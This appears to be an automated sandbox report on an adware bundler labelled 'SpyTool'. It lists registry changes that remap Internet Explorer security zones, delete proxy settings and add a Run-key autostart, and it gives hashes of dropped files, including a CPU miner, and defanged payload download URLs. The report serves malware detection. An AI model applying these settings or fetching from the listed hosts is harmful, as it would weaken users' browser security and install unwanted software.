[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Crossbrowse]
"Preinstall" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\CrossBrowser]
"Installation" = "1"

[HKCU\Software\Crossbrowse]
"Preinstall" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "99 0E 1C 6F AE 6F 59 22 EF 92 79 F2 84 4F 1B F0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following registry key(s):

[HKLM\SOFTWARE\Tempo]

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process encrypt.exe:644 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "41 62 35 BD 22 7B 4E E7 EE C5 D9 D2 EF 20 5F 41"

The process encrypt.exe:1796 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0E DC FA EB 29 06 C3 B3 66 63 05 85 1C 2B D5 8D"

The process encrypt.exe:1900 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E9 E5 82 6C 0B 1D 87 48 8F E6 ED DA ED BF 44 FA"

The process encrypt.exe:1484 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FA AA F0 DD CD DA 79 2F 79 DF 9C B8 88 72 B5 14"

The process upgmsd_re_005010082.exe:380 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 25 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Tutorials\updatetutorialeshp]
"Version" = "gmsd_re_005010082"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Tutorials]
"HostGUID" = "4D9487DA-C20F-42AA-8C08-26CD204C8AD0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 98 79 30 F3 6F 9A 12 BF D1 3F EE 0D E9 2D F0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Tutorials\updatetutorialeshp]
"MainDir" = "%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the SpyTool adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"upgmsd_re_005010082.exe" = "%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.exe -runhelper"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsd33.tmp:432 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 23 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6F 6E BD 6C 1D DB DB 9D 8A 27 09 72 FF B9 3B 3E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nskA.tmp:1676 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1C B6 A3 70 70 DE E3 EA 4E 9A 1E CD 58 B6 26 88"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsc14.tmp:1452 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F0 A5 82 D7 D2 7E CB 01 97 4D A3 35 9E F3 36 DB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\NlaSvc]
"CMPK" = "-som-tot-cpm-opw-crb-crr"

Dropped PE files

MD5	File path
9dcf0acd82ac35d87c4736b5759dbed5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.exe
cbcbe1f76f434a3b41c0148b62e6fbff	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\2835.exe
c8ce26b81e2160a03cee3fe0f4ad4463	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\3290\setup.exe
2a5f246b97d00f77b78d15f72923839b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Uninstall.exe
c0157ad57d34d1d608adea523b228266	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bitool.dll
20f288aa7d995a4bfcb240b66383ebf4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsc43.tmp
2b7007ed0262ca02ef69d8990815cbeb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsg2E.tmp\Registry.dll
8a77f074c6628b81f94e144784f32adb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh37.tmp
2b7007ed0262ca02ef69d8990815cbeb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi32.tmp\Registry.dll
40f572954315a15187b4db88207eff21	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nskA.tmp
f02155fa3e59a8fc48a74a236b2bb42e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl10.tmp\inetc.dll
af9ca50f59a20b145c7b00ca8f7c63cc	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsn4.tmp
0116a50101c4107a138a588d1e46fca5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso46.tmp\Banner.dll
b140459077c7c39be4bef249c2f84535	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso46.tmp\Math.dll
c17103ae9072a06da581dec998343fc1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso46.tmp\System.dll
e541458cfe66ef95ffbea40eaaa07289	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso46.tmp\inetc.dll
0745ff646f5af1f1cdd784c06f40fce9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso46.tmp\md5dll.dll
c10e04dd4ad4277d5adc951bb331c777	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso46.tmp\nsDialogs.dll
42df1fbaa87567adf2b4050805a1a545	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nso46.tmp\xml.dll
f9a709bbecced10d4a84f93c75604e04	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nss2A.tmp
fce81f5d5e6baabe8eb9f87a1bb3599c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu1B.tmp
2b7007ed0262ca02ef69d8990815cbeb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsx3B.tmp\Registry.dll
e7bf0b4417fa8afc5dbb90c1c9f9ecb8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz48.tmp
8a77f074c6628b81f94e144784f32adb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\Bundle_CPUminer[1].exe
f9a709bbecced10d4a84f93c75604e04	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\Bundle_OperaRUnew[1].exe
cbcbe1f76f434a3b41c0148b62e6fbff	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe
e7bf0b4417fa8afc5dbb90c1c9f9ecb8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[2].exe
20f288aa7d995a4bfcb240b66383ebf4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\smt[1].exe
b638732ad509ece4839c3329584ea42b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\36e0f22eacad857de2cd3b76aedc24a7[1].exe
c0157ad57d34d1d608adea523b228266	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\BiTool[1].dll
f77f6b517cf2e893cfcb107444f14495	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\df4a6a3ed77e60d6758afca091ca0c1f[1].exe
ceea099a2589b086940ea7e1333a3ad9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\cmmdWriter[1].exe
c1a6ac14dc23a321fd7de2c9b1fb8aa6	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\setup_gmsd_re[1].exe
ad3ce40da858a76f235974af46c18365	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\7121923af824073a25b2b7e6ba0a6e0e[1].exe
5c9336efb1faf577655bcd88a444c26b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\VISWHQk[1].exe
2a5f246b97d00f77b78d15f72923839b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Validate[1].exe
c8ce26b81e2160a03cee3fe0f4ad4463	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe
c8ce26b81e2160a03cee3fe0f4ad4463	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe
e6b0bc04dca07169abfc4456c4671307	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\PepperFlash\pepflashplayer.dll
0bcd0698977726a660321b4fec8f4a5e	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\chrome.dll
6d64fd7d8a69a39ed4ddcf0cd8d26b4b	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\chrome_child.dll
72f70472e350b35290839f3e2802b4f4	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\chrome_elf.dll
c81e0c917d5db4fecd2ec3c7e2712bbf	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\d3dcompiler_46.dll
634ec1dc874c89711b94b5c279987d66	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\delegate_execute.exe
6e98034de60d2e96b4bbb148bbeabadb	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\ffmpegsumo.dll
17baa5fcf3b9206cc0395a7cc38be7ac	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\libegl.dll
2b8929f7edc2df8925066cb0e7067365	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\libexif.dll
a25f20a5664891bc292970bd23acbf21	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\libglesv2.dll
302f011627a16ce5555e39ec53d4fbdd	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\metro_driver.dll
814cb49f7706f681723ea9b5746987e4	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\nacl64.exe
90871478e7b9765cccb884751bfafc7b	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\pdf.dll
4120c792ee30c922d95c5201cedade29	c:\Program Files\MyBrowser\MyBrowser\Application\mybrowser.exe
cbcbe1f76f434a3b41c0148b62e6fbff	c:\Program Files\MyBrowser\MyBrowser\Application\utility.exe
fb5ec0a6cbe2673c804cd8775211aaf2	c:\Program Files\gmsd_re_005010082\gamesdesktop_widget.exe
575674a22e3e25641c1cf0eff4bf4aec	c:\Program Files\gmsd_re_005010082\gmsd_re_005010082.exe
0f24cc698735914b57dceaacd83487a3	c:\Program Files\gmsd_re_005010082\predm.exe
0ff72e16329a69960686a61ea9943c1d	c:\Program Files\gmsd_re_005010082\unins000.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	1183744	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	1376256	1736	2048	2.02132	480f21bf3c105b20c6d2cb8598d0b16c

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 335
a5b362eaa5107233922d116064150b18
158a98a822f798bdb94723f9e1935623
fa58b09759639026299fe8d086b5c09d
692c8facf0591a41e8cb4be1671df672
9811196d1d42348220f9e9a2f9a4e3e8
2fae92324f64572d31a3a7ecd0590ce6
8bb9a9dea9311671e06482f9ec5318aa
c0c5cc8755825eaba05a4d361348392f
9a443574ea12da2f8cf331a9ba2ee28e
13166571a71af6a4221b72622dab8807
e727b97c7a7678a5c01f34c2a5633e76
26ed1b8284dc924e77b7c0588b4520f3
95a41fde49afb72046898a866001a95e
d27ee18d95dc184ee4d8d3791e6417d5
94aa7dbedeb69b99e633b79adec3428c
45ca65981b3c3e945b0e4cdc53db9ba2
9dd75707a1f8bbbd934891ac2f866e65
10ae755adfe308553c6276bb9d613d8a
b323c58bf4a0d001d1bf5c1b38feb286
baf718169de2c21c4761d5bd89ceeb77
ef0e9610146fc74405f34052d9039905
b5dc32575ffddf1a282708692c1f8464
b1d062ed686634c53c4213299d30b201
8169c8044caee125abec9429691e9f96
4e35dd9d2147b707331ddb7e8211024d

URLs

URL	IP
hxxp://ibf-cmi-1938953175.us-east-1.elb.amazonaws.com/	107.21.122.166
hxxp://download-servers.com/SysInfo/Validate.exe	50.7.184.170
hxxp://download-servers.com/Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst=	50.7.184.170
hxxp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe	54.239.168.217
hxxp://download-servers.com/SysInfo/validator/timer.php	50.7.184.170
hxxp://cds.c5z6s5a3.hwcdn.net/69/all/cp/row/setup.exe
hxxp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe	54.239.168.183
hxxp://ipgeoapi.com/	50.16.215.101
